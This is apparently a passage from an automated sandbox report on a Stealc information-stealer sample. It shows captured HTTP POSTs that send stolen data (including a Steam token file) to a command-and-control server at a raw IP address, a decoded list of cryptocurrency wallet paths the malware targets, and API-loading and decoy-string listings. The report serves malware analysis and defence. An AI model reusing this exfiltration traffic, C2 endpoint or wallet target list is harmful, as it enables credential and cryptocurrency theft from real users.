38 58 45 4a 73 62 32 4e 72 63 33 52 79 5a 57 [TRUNCATED] Data Ascii: Qml0Y29pbiBDb3JlfDF8XEJpdGNvaW5cd2FsbGV0c1x8d2FsbGV0LmRhdHwxfEJpdGNvaW4gQ29yZSBPbGR8MXxcQml0Y29pblx8KndhbGxldCouZGF0fDB8RG9nZWNvaW58MXxcRG9nZWNvaW5cfCp3YWxsZXQqLmRhdHwwfFJhdmVuIENvcmV8MXxcUmF2ZW5cfCp3YWxsZXQqLmRhdHwwfERhZWRhbHVzIE1haW5uZXR8MXxcRGFlZGFsdXMgTWFpbm5ldFx3YWxsZXRzXHxzaGUqLnNxbGl0ZXwwfEJsb2Nrc3RyZWFtIEdyZWVufDF8XEJsb2Nrc3RyZWFtXEdyZWVuXHdhbGxldHNcfCouKnwxfFdhc2FiaSBXYWxsZXR8MXxcV2FsbGV0V2FzYWJpXENsaWVudFxXYWxsZXRzXHwqLmpzb258MHxFdGhlcmV1bXwxfFxFdGhlcmV1bVx8a2V5c3RvcmV8MHxFbGVjdHJ1bXwxfFxFbGVjdHJ1bVx3YWxsZXRzXHwqLip8MHxFbGVjdHJ1bUxUQ3wxfFxFbGVjdHJ1bS1MVENcd2FsbGV0c1x8Ki4qfDB8RXhvZHVzfDF8XEV4b2R1c1x8ZXhvZHVzLmNvbmYuanNvbnwwfEV4b2R1c3wxfFxFeG9kdXNcfHdpbmRvdy1zdGF0ZS5qc29ufDB8RXhvZHVzXGV4b2R1cy53YWxsZXR8MXxcRXhvZHVzXGV4b2R1cy53YWxsZXRcfHBhc3NwaHJhc2UuanNvbnwwfEV4b2R1c1xleG9kdXMud2FsbGV0fDF8XEV4b2R1c1xleG9kdXMud2FsbGV0XHxzZWVkLnNlY298MHxFeG9kdXNcZXhvZHVzLndhbGxldHwxfFxFeG9kdXNcZXhvZHVzLndhbGxldFx8aW5mby5zZWNvfDB8RWxlY3Ryb24gQ2FzaHwxfFxFbGVjdHJvbkNhc2hcd2FsbGV0c1x8Ki4qfDB8TXVsdGlEb2dlfDF8
Oct 13, 2024 00:47:57.638842106 CEST	466	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----GCFCFCGCGIEHIECAFCFI Host: 185.215.113.37 Content-Length: 265 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 47 43 46 43 46 43 47 43 47 49 45 48 49 45 43 41 46 43 46 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 63 39 63 64 37 33 61 32 30 34 31 38 62 66 31 61 31 35 35 62 39 37 31 64 37 33 31 35 62 61 65 38 64 65 30 39 35 66 64 61 64 36 36 32 35 32 36 37 38 38 31 63 66 39 38 65 39 65 66 37 63 31 37 35 36 33 39 61 64 30 36 35 0d 0a 2d 2d 2d 2d 2d 2d 47 43 46 43 46 43 47 43 47 49 45 48 49 45 43 41 46 43 46 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 69 6c 65 73 0d 0a 2d 2d 2d 2d 2d 2d 47 43 46 43 46 43 47 43 47 49 45 48 49 45 43 41 46 43 46 49 2d 2d 0d 0a Data Ascii: ------GCFCFCGCGIEHIECAFCFIContent-Disposition: form-data; name="token"c9cd73a20418bf1a155b971d7315bae8de095fdad6625267881cf98e9ef7c175639ad065------GCFCFCGCGIEHIECAFCFIContent-Disposition: form-data; name="message"files------GCFCFCGCGIEHIECAFCFI--
Oct 13, 2024 00:47:57.859652996 CEST	202	IN	HTTP/1.1 200 OK Date: Sat, 12 Oct 2024 22:47:57 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=82 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 13, 2024 00:47:57.872713089 CEST	564	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----JEGHJKFHJJJKJJJJKEHC Host: 185.215.113.37 Content-Length: 363 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 4a 45 47 48 4a 4b 46 48 4a 4a 4a 4b 4a 4a 4a 4a 4b 45 48 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 63 39 63 64 37 33 61 32 30 34 31 38 62 66 31 61 31 35 35 62 39 37 31 64 37 33 31 35 62 61 65 38 64 65 30 39 35 66 64 61 64 36 36 32 35 32 36 37 38 38 31 63 66 39 38 65 39 65 66 37 63 31 37 35 36 33 39 61 64 30 36 35 0d 0a 2d 2d 2d 2d 2d 2d 4a 45 47 48 4a 4b 46 48 4a 4a 4a 4b 4a 4a 4a 4a 4b 45 48 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 33 52 6c 59 57 31 66 64 47 39 72 5a 57 35 7a 4c 6e 52 34 64 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 4a 45 47 48 4a 4b 46 48 4a 4a 4a 4b 4a 4a 4a 4a 4b 45 48 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d [TRUNCATED] Data Ascii: ------JEGHJKFHJJJKJJJJKEHCContent-Disposition: form-data; name="token"c9cd73a20418bf1a155b971d7315bae8de095fdad6625267881cf98e9ef7c175639ad065------JEGHJKFHJJJKJJJJKEHCContent-Disposition: form-data; name="file_name"c3RlYW1fdG9rZW5zLnR4dA==------JEGHJKFHJJJKJJJJKEHCContent-Disposition: form-data; name="file"------JEGHJKFHJJJKJJJJKEHC--
Oct 13, 2024 00:47:58.587728024 CEST	202	IN	HTTP/1.1 200 OK Date: Sat, 12 Oct 2024 22:47:57 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=81 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 13, 2024 00:47:58.614577055 CEST	473	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----EBKKKEGIDBGHIDGDHDBF Host: 185.215.113.37 Content-Length: 272 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 45 42 4b 4b 4b 45 47 49 44 42 47 48 49 44 47 44 48 44 42 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 63 39 63 64 37 33 61 32 30 34 31 38 62 66 31 61 31 35 35 62 39 37 31 64 37 33 31 35 62 61 65 38 64 65 30 39 35 66 64 61 64 36 36 32 35 32 36 37 38 38 31 63 66 39 38 65 39 65 66 37 63 31 37 35 36 33 39 61 64 30 36 35 0d 0a 2d 2d 2d 2d 2d 2d 45 42 4b 4b 4b 45 47 49 44 42 47 48 49 44 47 44 48 44 42 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 79 62 6e 63 62 68 79 6c 65 70 6d 65 0d 0a 2d 2d 2d 2d 2d 2d 45 42 4b 4b 4b 45 47 49 44 42 47 48 49 44 47 44 48 44 42 46 2d 2d 0d 0a Data Ascii: ------EBKKKEGIDBGHIDGDHDBFContent-Disposition: form-data; name="token"c9cd73a20418bf1a155b971d7315bae8de095fdad6625267881cf98e9ef7c175639ad065------EBKKKEGIDBGHIDGDHDBFContent-Disposition: form-data; name="message"ybncbhylepme------EBKKKEGIDBGHIDGDHDBF--
Oct 13, 2024 00:47:58.839910030 CEST	1236	IN	HTTP/1.1 200 OK Date: Sat, 12 Oct 2024 22:47:58 GMT Server: Apache/2.4.52 (Ubuntu) Vary: Accept-Encoding Keep-Alive: timeout=5, max=80 Connection: Keep-Alive Transfer-Encoding: chunked Content-Type: text/html; charset=UTF-8 Data Raw: 32 30 30 63 0d 0a 2a 2e 70 6c 3c 62 72 3e 20 31 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 0a 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 0a 0a 3c 62 72 3e 2a 2e 61 72 3c 62 72 3e 20 31 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 0a 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 0a 0a 3c 62 72 3e 2a 2e 62 72 3c 62 72 3e 20 31 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 0a 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 0a 0a 3c 62 72 3e 2a 2e 65 63 3c 62 72 3e 20 31 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 0a 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 0a 0a 3c 62 72 3e 2a 2e 65 67 3c 62 72 3e 20 31 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 0a 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 0a 0a 3c 62 72 3e 2a 2e 69 6e 3c 62 72 3e 20 31 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 0a 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 0a 0a 3c 62 72 3e 2a 2e 70 74 3c 62 72 3e 20 31 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 0a 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 0a 0a 3c 62 72 3e 2a 2e 61 63 3c 62 72 3e 20 31 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 0a 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 0a 0a 3c 62 72 3e 2a 2e 62 64 3c 62 72 3e 20 31 2e 67 6f 6f 67 6c 65 2e 63 6f [TRUNCATED] Data Ascii: 200c.pl<br> 1.google.com.google.com<br>.ar<br> 1.google.com.google.com<br>.br<br> 1.google.com.google.com<br>.ec<br> 1.google.com.google.com<br>.eg<br> 1.google.com.google.com<br>.in<br> 1.google.com.google.com<br>.pt<br> 1.google.com.google.com<br>.ac<br> 1.google.com.google.com<br>.bd<br> 1.google.com.google.com<br>.zm<br> 1.google.com.google.com<br>.ve<br> 1.google.com.google.com<br>.pk<br> 1.google.com.google.com<br>.rs<br> 1.google.com.google.com<br>.ph<br> 1.google.com.google.com<br>.mx<br> 1.google.com.google.com<br>.in<br> 1.google.com.google.com<br>.th<br> 1.google.com.google.com<br>.id<br> 1.google.com.google.com<br>.tr<br> 1.google.com.google.com<br>.cz<br> 1.google.com.google.com<br>.io<br> 1.google.com.google.com<br>.dz<br> 1.google.com.google.com<br>.de<br> 1.google.com.google.com<br>.kr<br> 1.google.com.google.com<br>.ma<br> 1.google.com.google.com<br>.jp<br> 1.google.com
Oct 13, 2024 00:47:58.930391073 CEST	473	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----EBFBKKJECAKEHJJJDBAF Host: 185.215.113.37 Content-Length: 272 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 45 42 46 42 4b 4b 4a 45 43 41 4b 45 48 4a 4a 4a 44 42 41 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 63 39 63 64 37 33 61 32 30 34 31 38 62 66 31 61 31 35 35 62 39 37 31 64 37 33 31 35 62 61 65 38 64 65 30 39 35 66 64 61 64 36 36 32 35 32 36 37 38 38 31 63 66 39 38 65 39 65 66 37 63 31 37 35 36 33 39 61 64 30 36 35 0d 0a 2d 2d 2d 2d 2d 2d 45 42 46 42 4b 4b 4a 45 43 41 4b 45 48 4a 4a 4a 44 42 41 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 6b 6b 6a 71 61 69 61 78 6b 68 62 0d 0a 2d 2d 2d 2d 2d 2d 45 42 46 42 4b 4b 4a 45 43 41 4b 45 48 4a 4a 4a 44 42 41 46 2d 2d 0d 0a Data Ascii: ------EBFBKKJECAKEHJJJDBAFContent-Disposition: form-data; name="token"c9cd73a20418bf1a155b971d7315bae8de095fdad6625267881cf98e9ef7c175639ad065------EBFBKKJECAKEHJJJDBAFContent-Disposition: form-data; name="message"wkkjqaiaxkhb------EBFBKKJECAKEHJJJDBAF--
Oct 13, 2024 00:47:59.645541906 CEST	202	IN	HTTP/1.1 200 OK Date: Sat, 12 Oct 2024 22:47:59 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=79 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8

Target ID:	0
Start time:	18:47:36
Start date:	12/10/2024
Path:	C:\Users\user\Desktop\file.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\file.exe"
Imagebase:	0x400000
File size:	1'816'576 bytes
MD5 hash:	B56821701719AE035A199A58D5E3303C
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000000.00000002.2386523415.00000000013DE000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000000.00000002.2385540740.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000000.00000003.2156334740.00000000052F0000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Execution Graph

Execution Coverage:	23.1%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	9.7%
Total number of Nodes:	2000
Total number of Limit Nodes:	27

Executed Functions

Function 00419860 Relevance: 59.7, APIs: 33, Strings: 1, Instructions: 212
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcAddress.KERNEL32(76210000,013F17C0), ref: 004198A1
GetProcAddress.KERNEL32(76210000,013F1520), ref: 004198BA
GetProcAddress.KERNEL32(76210000,013F1730), ref: 004198D2
GetProcAddress.KERNEL32(76210000,013F15F8), ref: 004198EA
GetProcAddress.KERNEL32(76210000,013F16D0), ref: 00419903
GetProcAddress.KERNEL32(76210000,013F8900), ref: 0041991B
GetProcAddress.KERNEL32(76210000,013E54D0), ref: 00419933
GetProcAddress.KERNEL32(76210000,013E5530), ref: 0041994C
GetProcAddress.KERNEL32(76210000,013F1550), ref: 00419964
GetProcAddress.KERNEL32(76210000,013F1568), ref: 0041997C
GetProcAddress.KERNEL32(76210000,013F1640), ref: 00419995
GetProcAddress.KERNEL32(76210000,013F1658), ref: 004199AD
GetProcAddress.KERNEL32(76210000,013E56B0), ref: 004199C5
GetProcAddress.KERNEL32(76210000,013F1688), ref: 004199DE
GetProcAddress.KERNEL32(76210000,013F1700), ref: 004199F6
GetProcAddress.KERNEL32(76210000,013E5550), ref: 00419A0E
GetProcAddress.KERNEL32(76210000,013F16A0), ref: 00419A27
GetProcAddress.KERNEL32(76210000,013F1580), ref: 00419A3F
GetProcAddress.KERNEL32(76210000,013E5350), ref: 00419A57
GetProcAddress.KERNEL32(76210000,013F1868), ref: 00419A70
GetProcAddress.KERNEL32(76210000,013E5410), ref: 00419A88
LoadLibraryA.KERNEL32(013F1880,?,00416A00), ref: 00419A9A
LoadLibraryA.KERNEL32(013F1850,?,00416A00), ref: 00419AAB
LoadLibraryA.KERNEL32(013F1898,?,00416A00), ref: 00419ABD
LoadLibraryA.KERNEL32(013F17F0,?,00416A00), ref: 00419ACF
LoadLibraryA.KERNEL32(013F18B0,?,00416A00), ref: 00419AE0
GetProcAddress.KERNEL32(75B30000,013F1808), ref: 00419B02
GetProcAddress.KERNEL32(751E0000,013F1820), ref: 00419B23
GetProcAddress.KERNEL32(751E0000,013F1838), ref: 00419B3B
GetProcAddress.KERNEL32(76910000,013F8D78), ref: 00419B5D
GetProcAddress.KERNEL32(75670000,013E53F0), ref: 00419B7E
GetProcAddress.KERNEL32(77310000,013F8950), ref: 00419B9F
GetProcAddress.KERNEL32(77310000,NtQueryInformationProcess), ref: 00419BB6

Strings

NtQueryInformationProcess, xrefs: 00419BAA

Memory Dump Source

Source File: 00000000.00000002.2385540740.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2385519897.0000000000400000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.000000000045A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.0000000000485000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.0000000000488000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.00000000004B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.00000000004BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.00000000004E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.00000000004EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.000000000050F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.000000000051B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.000000000051E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.00000000005A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.00000000005C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.00000000005CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.000000000064A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385999365.000000000065E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385999365.00000000007D4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385999365.00000000008B4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385999365.00000000008DC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385999365.00000000008E3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385999365.00000000008F2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2386267419.00000000008F3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2386390337.0000000000A88000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2386410211.0000000000A89000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Yara matches

Similarity

API ID: AddressProc$LibraryLoad
String ID: NtQueryInformationProcess
API String ID: 2238633743-2781105232
Opcode ID: 5241b63200b37b02610696a8d235fc94b134fee8225fd0051d7d8784b632fee7
Instruction ID: 20ebc6b46c949eaa7f25e90fb8197bb2e58582eade08509f86bd82c1d7e4afd5
Opcode Fuzzy Hash: 5241b63200b37b02610696a8d235fc94b134fee8225fd0051d7d8784b632fee7
Instruction Fuzzy Hash: 55A14DBD5C4240BFE354EFE8ED889963BFBF74E301704661AE605C3264D639A841DB12

Function 004045C0 Relevance: 56.1, APIs: 2, Strings: 30, Instructions: 148
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RtlAllocateHeap.NTDLL(00000000), ref: 0040460E
VirtualProtect.KERNEL32(?,00000004,00000100,00000000), ref: 0040479C

Strings

The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 004045D2
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 0040462D
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 004046B7
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 004045E8
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 004046AC
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00404638
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 004046D8
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00404662
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 0040477B
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00404643
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 0040473F
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 0040475A
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00404657
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 0040466D
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00404765
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00404622
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00404678
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00404683
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 004046C2
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00404617
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 004045F3
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 004045DD
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00404770
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 0040471E
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 0040474F
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00404729
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 004046CD
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 004045C7
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00404713
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00404734

Memory Dump Source

Source File: 00000000.00000002.2385540740.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2385519897.0000000000400000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.000000000045A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.0000000000485000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.0000000000488000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.00000000004B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.00000000004BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.00000000004E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.00000000004EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.000000000050F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.000000000051B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.000000000051E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.00000000005A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.00000000005C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.00000000005CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.000000000064A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385999365.000000000065E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385999365.00000000007D4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385999365.00000000008B4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385999365.00000000008DC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385999365.00000000008E3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385999365.00000000008F2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2386267419.00000000008F3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2386390337.0000000000A88000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2386410211.0000000000A89000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Yara matches

Similarity

API ID: AllocateHeapProtectVirtual
String ID: The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in 